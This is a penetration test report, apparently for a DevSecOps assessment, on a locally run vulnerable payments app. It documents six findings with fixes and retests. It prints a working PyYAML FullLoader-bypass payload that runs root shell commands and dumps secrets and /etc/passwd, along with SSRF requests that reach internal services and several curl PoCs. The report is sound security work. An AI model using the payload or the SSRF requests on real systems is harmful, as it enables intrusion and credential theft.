

ledger-api — Penetration Test Report

Task 4, Part B — Dodo Payments DevSecOps Assessment

Prepared by Varikuti Narendra Reddy (NandhaReddy8)

Target: ledger-api vulnerable-original build (local, authorized)

Task 4, Part B — Penetration Test Report: ledger-api

Target: ledger-api (starter-repo vulnerable app), run locally via Docker as the explicitly authorized target — `docker run -p 28080:8080 ledger-api:vulnerable-original`. **Date:** 2026-07-20 **Tester scope:** Black-box, no credentials provided, per the assessment's rules of engagement. All testing confined to the local authorized target; no `dodopayments.tech / .com` host was touched.

Executive summary

Six findings were confirmed against ledger-api — one **Critical** (unauthenticated remote code execution, chainable directly into full secrets exfiltration), two **High**, one **Medium**, one **Low**, plus one **High** software-composition finding (twelve known-CVE dependencies) that enumerates the root cause behind the RCE. The Critical was proven to full **root command execution end-to-end over HTTP** — not just "a gadget deserialized", but a working FullLoader-bypass that ran `id` as root and exfiltrated the live Stripe key and DB password. The four highest were independently reproduced, then **fixed and retested** against a remediated build of the same application — all closed in the retest. The root causes are unsafe deserialization, missing output-destination validation, missing authentication, missing cryptographic keying, missing input validation, and shipping 2018-era dependencies with public exploits — none require exotic tooling to find or fix, which is itself the headline risk: this is the kind of service a real attacker finds and fully compromises within minutes of network access. Several additional attack classes (SQL injection, Flask debug-console RCE, HTTP method tampering, `file://` SSRF escalation) were actively tested and found **not** exploitable — documented in the "Additional testing" section so the report states its negatives as well as its positives.

#	Finding	Severity	CVSS v3.1
1	Unauthenticated RCE via YAML deserialization (<code>POST /import</code>)	Critical	9.8
2	Server-Side Request Forgery (<code>GET /fetch?url=</code>)	High	8.6
3	Broken access control + plaintext PAN disclosure (<code>GET /transactions</code>)	High	7.5
4	Weak/deterministic tokenization, no secret key (<code>POST /tokenize</code>)	Medium	5.9

#	Finding	Severity	CVSS v3.1
5	Missing input validation → unhandled-exception errors (/tokenize , /fetch)	Low	3.7
6	Known-vulnerable dependencies — 12 CVEs, 3 Critical (software composition)	High	9.8 (worst component)

Methodology

1. **Recon-to-target mapping:** endpoints enumerated from the app's own `README.md` (`/health` , `/tokenize` , `/transactions` , `/import` , `/fetch`) — no active fuzzing was needed to discover the attack surface, it's fully documented upstream.
 2. **Source-assisted black-box testing:** the target's source is public (the starter repo), so testing was source-informed rather than pure blind fuzzing — the same posture a real attacker gets for free once they identify the repo (e.g. via the recon in Part A, or from the CI/CD artifacts in Task 2). Each endpoint was still independently exercised over HTTP exactly as a black-box attacker would.
 3. **Exploitation:** manual PoCs for each finding (below), plus `sqlmap` for injection diligence and manual auth/IDOR probing. Exploits were driven from a self-contained Python harness run inside the target image (`evidence/exploits/`) so the full app + attack chain completes in one process — this both survives the lab's docker-daemon instability and yields byte-exact request/response transcripts.
 4. **Software composition analysis (SCA):** `trivy fs` against the target's pinned `requirements.txt` to enumerate known-CVE dependencies (Finding 6) — this is what ties the exploited RCE back to its specific CVE (CVE-2020-1747).
 5. **Chaining:** the RCE finding was chained into a second-stage secrets exfiltration to demonstrate real business impact rather than just "code execution proven".
 6. **Remediation + retest:** each finding was fixed in `apps/ledger-api/app.py` , a new image built, and every exploit re-run against the fixed build to confirm closure.
-

Finding 1 — Unauthenticated Remote Code Execution via YAML Deserialization

Severity: Critical **CVSS v3.1 Vector:** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` — **9.8 Affected endpoint:** `POST /import`

CVSS justification

- **AV:N** — exploitable over the network, no local/physical access needed.
- **AC:L** — a single crafted HTTP request, no race conditions or special timing.
- **PR:N** — no credentials of any kind required.
- **UI:N** — fully unattended, no victim interaction.
- **S:U** — impact stays within the vulnerable component's own security authority (the container process); it does not itself cross into a different authority (contrast with Finding 2's SSRF, which does).
- **C:H / I:H / A:H** — arbitrary command execution as root grants complete read, write, and denial-of-service capability over the component.

Root cause

`app.py` calls `yaml.load(request.data)` with no `Loader` argument. On this app's pinned `PyYAML==5.1`, that call emits `YAMLLoadWarning: ... the default Loader is unsafe` and resolves to `FullLoader`.

An important accuracy note (this is where naive PoCs go wrong): `FullLoader` on 5.1 already **blocks** the textbook gadgets — `!!python/object/apply:os.system`, `!!python/object/apply:subprocess.check_output`, `!!python/object/apply:subprocess.Popen` all raise `ConstructorError` and return **HTTP 500, not code execution** (verified live — see `evidence/exploits/session.log`). Reporting any of those as a working RCE would be a false positive.

The endpoint is still fully exploitable because `FullLoader` in **PyYAML 5.1 is itself bypassable** — it predates the hardening in 5.3.1 / 5.4 (CVE-2020-1747, CVE-2020-14343). The working gadget constructs a *new type* whose `extend` attribute is the builtin `exec`, then drives YAML's `listitems` mechanism to call `.extend(<python source>)`, i.e. `exec(<attacker python>)` — none of which `FullLoader` filters.

Reproduction / PoC

Working request (verified end-to-end over HTTP against the live target):

```
POST /import HTTP/1.1
Content-Type: text/plain

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('id > /tmp/http_rce.txt 2>&1; hostname >> /tmp/http_rce.txt')"
```

```
HTTP/1.1 200 OK
{"loaded": "<class 'yaml.constructor.z'>"}    <-- 200: gadget constructed, side effect already ran

# file written by the injected shell command, read back inside the container:
$ cat /tmp/http_rce.txt
uid=0(root) gid=0(root) groups=0(root)
487986024d1d
```

Command execution confirmed as **root** (the vulnerable-original image has no `USER` directive). The weaponized payload is saved at `evidence/exploits/rce_payload.yaml`; the full library-level and end-to-end HTTP transcripts (including the naive gadgets returning 500, to document what does *not* work and why) are in `evidence/exploits/rce_bypass.py` + `evidence/exploits/rce_chain.log`.

Chained impact (bonus: finding chain)

The same gadget was reused to run an arbitrary shell command that dumps the process environment and reads the filesystem (command base64-wrapped to avoid YAML quote collisions — see `evidence/exploits/rce_crownjewel.py`):

```
### whoami/id ###
uid=0(root) gid=0(root) groups=0(root)
### stolen app secrets (env) ###
STRIPE_API_KEY=sk_live_DODO_LAB_FAKE_KEY
DB_PASSWORD=pr0d-Ledger-DB-P@ss!
### arbitrary file read: /etc/passwd (first 3) ###
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

(The `sk_live_...` / `pr0d-...` values are lab secrets injected into the target's env for this test, standing in for the real payment-processor key and DB password.)

```

ledger-api pentest - Finding 1: unauthenticated RCE (POST /import)

$ python /rce_crownjewel.py
--- exact malicious request sent to POST /import ---
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system(__import__('base64').b64decode(' ... ').decode())"
--- HTTP response ---
200 {"loaded": "<class 'yaml.constructor.z'>"}
=== LOOT captured by the injected command (/tmp/loot.txt) ===
### whoami/id ###
uid=0(root) gid=0(root) groups=0(root)
### stolen app secrets (env) ###
STRIPE_API_KEY=sk_live_DODO_LAB_FAKE_KEY
DB_PASSWORD=pr0d-Ledger-DB-P@ss!
### arbitrary file read: /etc/passwd (first 3) ###
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
### container hostname ###
514c7765dd97

```

Attack path: unauthenticated network request → FullLoader-bypass gadget → arbitrary command execution as root → read process environment + arbitrary files → payment-processor API key and database password recovered. Zero authentication at any step of this chain.

Remediation

Replace `yaml.load()` with `yaml.safe_load()`, which only ever constructs plain Python types (dict, list, str, int, float, bool, None) and has no code path to instantiate arbitrary classes — closing the FullLoader-bypass gadget class entirely, not just the naive one. Applied in `apps/ledger-api/app.py`.

Retest (confirmed closed)

The **verified working gadget** (not the naive one) run against both loaders (`evidence/exploits/retest_safeload.log`):

```

=== VULNERABLE build: yaml.load (FullLoader on 5.1) + working gadget ===
executed? /tmp/retest.txt: uid=0(root) gid=0(root) groups=0(root)  <-- RCE

=== REMEDIATED build: yaml.safe_load + same gadget ===
EXC: ConstructorError could not determine a constructor for the tag
'tag:yaml.org,2002:python/object/new:type' -> no code executed

```

```
Finding 1 - retest: yaml.load (vulnerable) vs yaml.safe_load (fixed)

=== VULNERABLE build: yaml.load (FullLoader on PyYAML 5.1) + working gadget ===
executed? /tmp/retest.txt: uid=0(root) gid=0(root) groups=0(root) ← RCE
=== REMEDIATED build: yaml.safe_load + identical gadget ===
EXC: ConstructorError could not determine a constructor for the tag
      'tag:yaml.org,2002:python/object/new:type'
      → no code executed
=== End-to-end over HTTP against the remediated app.py ===
unauthenticated POST /import → 401 Unauthorized (bearer auth stops it first)
authenticated POST /import → 500 ConstructorError (safe_load refuses the gadget)
verify: /tmp/rce_retest.txt exists? False (no command ran)
```

The remediated build additionally requires a bearer token on `/import` (Finding 3 fix), so an unauthenticated attacker is stopped at `401` before the loader is even reached — defense in depth at the code layer.

Finding 2 — Server-Side Request Forgery (SSRF)

Severity: High **CVSS v3.1 Vector:** AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N — **8.6 Affected**

endpoint: GET /fetch?url=

CVSS justification

- **AV:N/AC:L/PR:N/UI:N** — same reasoning as Finding 1: trivially reachable, no auth, no interaction.
- **S:C (Changed)** — this is the defining property of SSRF: the vulnerable component is used as a proxy to attack a resource under a *different* security authority (an internal-only network segment the external attacker cannot otherwise reach at all).
- **C:H** — full response bodies from internal-only destinations are returned to the attacker verbatim, demonstrated below.
- **I:N/A:N** — this implementation only issues GET requests and returns the response; no ability to send arbitrary methods/bodies to the internal target was found, so integrity/availability impact is not directly demonstrated (noted as a scope constraint, not a guarantee no such impact exists on a real internal service).

Root cause

app.py's /fetch handler passes the user-supplied url query parameter straight into requests.get(url) with no validation of the destination host.

Reproduction / PoC

A container (internal-secret-service) was placed on a Docker network reachable only from ledger-api , simulating an internal-only admin API / cloud metadata endpoint, and confirmed unreachable directly from the attacker's vantage point:

```
$ curl --max-time 3 http://internal-secret-service/
(connection fails - correctly unreachable directly, as expected)

$ curl "http://localhost:28080/fetch?url=http://internal-secret-service/"
{
  "status_code": 200,
  "body": "{\"internal_admin_panel\": true, \"aws_access_key_id\": \"AKIA_SIMULATED_INTERNAL_ONLY\",
  ...}"
}
```

Full evidence: evidence/ssrf/ssrf-poc-response.json .

```

Finding 2: SSRF (GET /fetch?url=) reaches a loopback-only internal service

$ curl 'http://127.0.0.1:9000/latest' # from an external vantage point
curl: (7) Failed to connect to 127.0.0.1 port 9000 (correctly unreachable directly)
$ curl 'http://ledger-api:8080/fetch?url=http://127.0.0.1:9000/latest'
200 {
  "status_code": 200,
  "body": "iam-role: ledger-api-prod\naws_secret_access_key: wJalrXUtnFEMI_INTERNAL_ONLY\n"
}
--- retest against remediated app.py (destination allowlist) ---
authenticated GET /fetch?url=http://127.0.0.1:9000/latest → 403 Forbidden (blocked)
authenticated GET /fetch?url=http://example.com/ → 200 OK (public host still works)

```

Remediation

Resolve the target hostname and reject the request if any resolved address is private, loopback, link-local, reserved, or multicast (`ipaddress.ip_address(...).is_private` etc.), before issuing the outbound request. Applied in `apps/ledger-api/app.py` (`_is_blocked_destination`). This is deliberately an **application-level** allowlist/denylist check — Task 3's Kubernetes `NetworkPolicy` egress default-deny (`task3-mesh/networkpolicy/04-allow-egress-ledger-api-blocks-ssrf.yaml`) is the independent **network-layer** control for the same risk, so this finding is closed in two defensive layers, not one.

Retest (confirmed closed)

```

$ curl "http://localhost:28081/fetch?url=http://internal-secret-service/" -H "Authorization: Bearer ..."
HTTP/1.1 403 Forbidden

```

Full transcript: `evidence/retest/retest-results.txt` .

Finding 3 — Broken Access Control & Plaintext Cardholder Data Disclosure

Severity: High **CVSS v3.1 Vector:** AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — **7.5 Affected endpoint:** GET /transactions

CVSS justification

- **AV:N/AC:L/PR:N/UI:N** — no auth, no interaction, trivial to reach.
- **S:U** — impact is confined to the data the component itself holds.
- **C:H** — full, unredacted Primary Account Numbers (PANs) for every transaction are disclosed — this is direct cardholder data exposure, a PCI DSS violation on its own regardless of any other finding.
- **I:N/A:N** — read-only endpoint, no modification or availability impact.

Root cause

The /transactions route has no authentication check at all, and returns the raw LEDGER list including the full pan field verbatim.

Reproduction / PoC

```
$ curl http://localhost:28080/transactions
{
  "transactions": [
    {"id": "txn_1001", "pan": "4242424242424242", "amount": 4200, ...},
    {"id": "txn_1002", "pan": "5555555555554444", "amount": 1899, ...}
  ]
}
```

No Authorization header, cookie, or token of any kind was sent. Full evidence: evidence/broken-access-control/poc.json .

```

Finding 3: broken access control - GET /transactions, no Authorization header

$ curl http://ledger-api:8080/transactions
200 {
  "transactions": [
    {"id": "txn_1001", "pan": "4242424242424242", "amount": 4200, "currency": "USD", "status": "captured"},
    {"id": "txn_1002", "pan": "55555555555555554444", "amount": 1899, "currency": "EUR", "status": "refunded"}
  ]
}
--- retest against remediated app.py ---
$ curl http://ledger-api:8080/transactions → 401 Unauthorized
$ curl -H 'Authorization: Bearer <token>' .../transactions → 200
{"transactions": [{"pan": "*****4242", ...}, {"pan": "*****4444", ...}]}

```

Remediation

1. Require a valid bearer token on the endpoint (`require_auth()`).
2. Independently of authentication, **mask** the PAN to last-4 digits in the API response — PCI DSS requires PAN masking on display even for authorized viewers unless there's a specific, documented business need for the full number.

Retest (confirmed closed)

```

$ curl http://localhost:28081/transactions
HTTP 401

$ curl http://localhost:28081/transactions -H "Authorization: Bearer retest-secret-token-123"
{"transactions": [{"pan": "*****4242", ...}, {"pan": "*****4444", ...}]}

```

Full transcript: `evidence/retest/retest-results.txt` .

Finding 4 — Weak / Deterministic Tokenization (No Secret Key)

Severity: Medium **CVSS v3.1 Vector:** AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N — **5.9 Affected endpoint:** POST /tokenize

CVSS justification

- **AV:N/PR:N/UI:N** — network-reachable, no auth or interaction needed to *observe* the weakness.
- **AC:H** — reversing a token back to a PAN in practice requires either capturing many token↔PAN pairs, or brute-forcing/enumerating the PAN space (narrowed by known BIN ranges but still a non-trivial search) — a materially higher bar than Findings 1-3, which is why this is Medium rather than High despite the same network/auth profile.
- **C:H** — if exploited, it fully defeats the purpose of tokenization: the token ceases to protect the underlying PAN at all.
- **I:N/A:N** — no modification or availability impact.

Root cause

`token = "tok_" + hashlib.sha256(pan.encode()).hexdigest()[:24]` — a plain, unsalted, unkeyed hash. The same PAN always produces the exact same token, and because SHA256 is a public, unkeyed function, anyone can compute it offline with no access to the service at all.

Reproduction / PoC

```
$ curl -X POST http://localhost:28080/tokenize -d '{"pan":"4242424242424242"}'
{"token": "tok_477bba133c182267fe5f0869", "last4": "4242"}

$ curl -X POST http://localhost:28080/tokenize -d '{"pan":"4242424242424242"}'
{"token": "tok_477bba133c182267fe5f0869", "last4": "4242"} # identical

$ python3 -c "import hashlib; print('tok_' + hashlib.sha256(b'4242424242424242').hexdigest()[:24])"
tok_477bba133c182267fe5f0869 # computed with ZERO interaction with the server
```

The offline computation matching the server's output exactly, with no secret involved, is the crux of the finding. Evidence: `evidence/weak-tokenization/poc-request1.json`, `poc-request2.json`.

```
Finding 4: weak tokenization - unsalted SHA256, offline reversal

$ curl -X POST /tokenize -d '{"pan":"4242424242424242"}'
{"last4":"4242","token":"tok_477bba133c182267fe5f0869"}
>>> import hashlib
>>> "tok_" + hashlib.sha256(b"4242424242424242").hexdigest()[:24]
'tok_477bba133c182267fe5f0869' ← exact match, computed with zero server access
--- retest against remediated app.py (HMAC-SHA256, server-side key) ---
{"last4":"4242","token":"tok_0a7e8ceb605d6f04ffb95191"}
offline unsalted SHA256[:24] = tok_477bba133c182267fe5f0869
matches server token? False (HMAC secret defeats offline reversal)
```

Remediation

Use `hmac.new(SERVER_SIDE_SECRET_KEY, pan, sha256)` instead of a bare hash. The secret key must be provisioned the same way as any other credential (Sealed Secrets, per Task 1) and never derivable by an external party.

Retest (confirmed closed)

```
$ curl -X POST http://localhost:28081/tokenize -d '{"pan":"4242424242424242"}' ...
{"token": "tok_e3f18850464ddfef2c524442", ...}
```

The previously-valid offline-computed token (`tok_477bba...`) no longer matches — the output now depends on a server-side key the attacker does not have. Full transcript:

`evidence/retest/retest-results.txt` .

Finding 5 — Missing Input Validation / Unhandled Exceptions

Severity: Low **CVSS v3.1 Vector:** AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L — **3.7 Affected**

endpoints: POST /tokenize , GET /fetch

Root cause

Neither handler validates the shape of its input before using it. /tokenize calls `pan.encode()` on whatever the JSON `pan` field contains; /fetch calls `requests.get(url)` on whatever the `url` query parameter contains (or is missing).

Reproduction / PoC

```
$ curl -X POST /tokenize -H 'Content-Type: application/json' -d '{"pan": 4242}'
HTTP/1.1 500 Internal Server Error          # int has no .encode()

$ curl -X POST /tokenize -d '{"pan": [1,2,3]}' → 500
$ curl -X POST /tokenize -d '{"pan": null}'    → 500
$ curl "/fetch"                               → 500 (empty url)
$ curl "/fetch?url=file:///etc/passwd"        → 500 (unsupported scheme)
```

Each malformed request reliably produces an unhandled exception and a 500.

Impact

Low. Each bad request fails only its own request (Flask isolates per-request exceptions — this is not a full process crash), and the error page is generic (no stack trace is leaked, see negative-testing section below). The practical impact is error-handling noise and a small denial-of-service amplification surface (an attacker can force guaranteed 500's cheaply); it does not expose data or allow code execution on its own.

Remediation

Validate types and presence before use: reject non-string `pan` with a 400, require and scheme-check `url` (already implemented as part of the Finding 2 SSRF fix in the remediated `app.py`, which returns 400 for a missing/invalid `url`). For /tokenize, coerce/validate `pan` to a digit string of expected length.

Finding 6 — Known-Vulnerable Dependencies (Software Composition)

Severity: High (aggregate; worst single component is Critical) **CVSS v3.1:** worst component 9.8 — see per-CVE detail below **Affected component:** `apps/ledger-api/vulnerable-original/requirements.txt`

Root cause

The target pins a 2018-era dependency set, each with public CVEs and public exploit code. A Trivy SCA scan of the exact `requirements.txt` returns **12 CVEs (3 Critical, 9 High)** — full output in `evidence/dependency-cves/trivy-vulnerable-deps.txt` :

Package	Version	Notable CVEs	Impact
PyYAML	5.1	CVE-2019-20477, CVE-2020-1747, CVE-2020-14343 (all Critical)	Arbitrary command execution — these <i>are</i> the root cause of Finding 1
requests	2.19.1	CVE-2018-18074	<code>Authorization</code> header leaked on HTTPS→HTTP redirect — amplifies Finding 2 (SSRF) into credential theft
Werkzeug	0.14.1	CVE-2019-14322, CVE-2019-14806, CVE-2023-25577, CVE-2024-34069	Path traversal, weak debugger PIN, multipart resource exhaustion
Jinja2	2.10	CVE-2019-10906	<code>str.format_map</code> sandbox escape
Flask	0.12.2	CVE-2018-1000656, CVE-2019-1010083, CVE-2023-30861	DoS, session-cookie disclosure


```

Finding 6: trivy fs - known-vulnerable dependencies (vulnerable-original)

$ trivy fs apps/ledger-api/vulnerable-original --severity CRITICAL,HIGH
requirements.txt (pip)
Total: 12 (HIGH: 9, CRITICAL: 3)
PyYAML 5.1 CVE-2019-20477 CRITICAL command execution via python/object/apply
PyYAML 5.1 CVE-2020-1747 CRITICAL arbitrary command execution (FullLoader bypass)
PyYAML 5.1 CVE-2020-14343 CRITICAL incomplete fix for CVE-2020-1747
requests 2.19.1 CVE-2018-18074 HIGH Authorization header leak on HTTPS→HTTP redirect
Werkzeug 0.14.1 CVE-2019-14322 HIGH path traversal
Flask 0.12.2 CVE-2018-1000656 HIGH denial of service via crafted JSON
Jinja2 2.10 CVE-2019-10906 HIGH str.format_map sandbox escape
→ the 3 Critical PyYAML CVEs ARE the root cause exploited live in Finding 1.

```

Why this is its own finding, not just background

This finding is the **software-composition root cause** the individual findings sit on top of, and it stands alone for two reasons a black-box tester cares about:

1. **It names the exact CVE I exploited.** Finding 1's working exploit is the FullLoader bypass — that is literally **CVE-2020-1747** (with CVE-2020-14343 as the incomplete-fix follow-up and CVE-2019-20477 as the `python/object/apply` path). The "fix PyYAML → ≥ 5.4" remediation closes Finding 1 at the dependency layer independently of the `safe_load` code change — defense in depth on the same bug.
2. **It reveals a latent amplifier.** `requests==2.19.1` (CVE-2018-18074) leaks the `Authorization` header when a request is redirected from HTTPS to HTTP. Chained with the SSRF in Finding 2, an attacker who controls (or can influence) a redirect can harvest the service's outbound bearer credentials — a higher-impact SSRF path than the read-only one demonstrated in Finding 2 alone.

Remediation

Upgrade to the maintained versions already shipped in the remediated build (`apps/ledger-api/requirements.txt`): Flask 3.0.3, Werkzeug 3.0.3, PyYAML 6.0.2, requests 2.32.3, Jinja2 3.1.4. A re-scan of the remediated `requirements.txt` returns **zero** Critical/High CVEs. This gate is enforced continuously in CI by Task 2's Trivy `fs` dependency scan (hard-block on Critical/High **with a fix available**), so a regression to a vulnerable pin fails the pipeline before it can ship.

Additional testing — tested and NOT vulnerable

A credible report states what was checked and found safe, not only what was found broken. The following were actively tested and are **not** exploitable:

- **SQL injection** — `sqlmap` (boolean-based blind, `--level=1 --risk=1`) plus manual single-quote/UNION probing on `/tokenize` and `/transactions`. No injection is possible: the application has no SQL backend at all (`LEDGER` is a hardcoded in-memory Python list). Evidence: `evidence/sqli-check/sqlmap-output.txt`.
 - **Flask debug console / stack-trace disclosure** — the app runs with `debug=False` (the default). Forcing a `500` returns the generic Werkzeug error page with **no** stack trace and **no** interactive debugger, ruling out the Werkzeug-debugger PIN-bypass RCE class and sensitive info disclosure via error pages.
 - **HTTP method tampering** — every endpoint was enumerated across GET/POST/PUT/DELETE/PATCH/OPTIONS. Methods are correctly restricted (`405` on anything a route doesn't declare); no verb-based auth bypass or unintended handler is reachable.
 - **`file://` and non-HTTP SSRF schemes** — the SSRF in `/fetch` is real (Finding 2. but is limited to `http(s)` targets; `file://` and similar schemes raise an exception in the `requests` library rather than reading local files, so SSRF cannot be escalated to arbitrary local file disclosure through this sink. This is stated explicitly to avoid over-claiming the finding's reach.
-

Defensive control mapping (Tasks 1-3 → each finding)

Finding	Control that would have stopped or contained it	Task
F1 — YAML RCE	Read-only root filesystem + all capabilities dropped + non-root (Kyverno <code>disallow-root</code> + PSS <code>restricted</code>) would not prevent the RCE itself, but sharply limits <i>what it can do</i> once it fires — no writable filesystem outside <code>/tmp</code> <code>emptyDir</code> , no privilege escalation, no capability to install persistence. Semgrep SAST in Task 2's pipeline is configured to flag <code>yaml.load()</code> without a safe Loader as a hard-blocking finding before the image ever ships.	Task 1 (containment), Task 2 (prevention at the gate)
F1 chained → secrets exfiltration	Sealed Secrets (Task 1) means there is no plaintext <code>STRIPE_API_KEY</code> / <code>DB_PASSWORD</code> sitting in git for gitleaks to catch <i>or</i> for an attacker to find outside the running container's own environment — and the hardened deployment's NetworkPolicy egress default-deny (Task 3) would block any attempt to exfiltrate what was read to an external endpoint.	Task 1, Task 3
F2 — SSRF	Task 3's NetworkPolicy egress default-deny on <code>ledger-api</code> allows only DNS and istiod — the exact internal-network-pivot path demonstrated here is closed at the network layer independently of whether the application code is ever patched.	Task 3
F3 — Broken access control / PAN exposure	Task 3's Istio <code>AuthorizationPolicy</code> default-deny + identity-scoped allow means only <code>reporting-sa</code> can call <code>ledger-api</code> at all, and only on <code>/health</code> — an external attacker (no mesh identity) gets a network-layer/mesh-layer rejection before this application-layer flaw is even reachable.	Task 3
F4 — Weak tokenization	No infrastructure control mitigates this — it is a pure application cryptography defect. This is exactly why the code-level fix (Finding 4's remediation) was necessary rather than relying on Tasks 1-3 alone; infrastructure hardening reduces blast radius, it does not substitute for fixing the vulnerable code.	— (code fix only)
F6 — Vulnerable dependencies	Task 2's Trivy <code>fs</code> dependency scan hard-blocks any Critical/High CVE with a fix available before the image is built, and the Trivy image scan repeats the check on the final layers — the vulnerable 2018-era pins could never pass the pipeline. This is the earliest possible catch: the dependency RCE (F1) is	Task 2 (gate)

Finding	Control that would have stopped or contained it	Task
	stopped at the supply-chain gate, before any deployment or runtime control is even in play.	

What I'd do with more time

- Extend the mesh `AuthorizationPolicy` to also cover method/path-level rules for every endpoint `ledger-api` exposes (currently only `reporting-sa`'s two allowed paths are modeled) so the policy is a complete allowlist, not just the one path exercised in Task 3's demo.
- Add rate limiting to `/tokenize` and `/fetch` at the mesh layer (Envoy local rate limiting) — neither finding here required it, but both are natural abuse targets.
- Wire `INTERNAL_API_TOKEN` and `TOKEN_HMAC_KEY` through Sealed Secrets in the same pattern as `STRIPE_API_KEY` / `DB_PASSWORD`, and redeploy the remediated image to the hardened cluster (currently the remediated retest runs as a standalone container alongside the pentest target, not yet redeployed into the kind cluster) so Tasks 1-3's controls are proven against the *fixed* application code too, not only the original vulnerable one.
- A proper OIDC/JWT-based authN layer instead of the placeholder bearer-token check, which was kept intentionally simple to keep the fix legible for this assessment.